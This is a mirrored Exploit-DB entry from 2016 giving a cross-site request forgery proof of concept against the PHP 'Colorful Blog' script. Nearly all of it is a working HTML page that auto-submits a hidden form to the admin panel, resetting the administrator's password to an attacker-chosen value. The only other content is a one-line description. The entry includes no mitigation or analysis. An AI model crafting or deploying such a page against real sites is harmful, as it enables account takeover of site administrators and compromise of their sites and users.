Colorful Blog – Cross-Site Request Forgery (Change Admin Password)

  • 作者： Besim
    日期： 2016-10-13
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/40527/
  • # Exploit Title :----------- : Colorful Blog - Cross-Site Request Forgery(Change Admin Pass)
# Author :------------------ : Besim
# Google Dork :---------- :-
# Date :--------------------- : 13/10/2016
# Type :--------------------- : webapps
# Platform :---------------- : PHP
# Vendor Homepage :-- : -
# Software link :---------- : http://wmscripti.com/php-scriptler/colorful-blog-scripti.html


Description : 

You can change admin's password with CSRF, if you know admin's username

########################### CSRF PoC ###############################

<html>
<!-- CSRF PoC -->
<body>
<form action="http://site_name/path/yonetim/admin.php" method="POST">
<input type="hidden" name="username" value="admin_username" />
<input type="hidden" name="password" value="besim" />
<input type="hidden" name="gonder" value="Kaydet" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>


####################################################################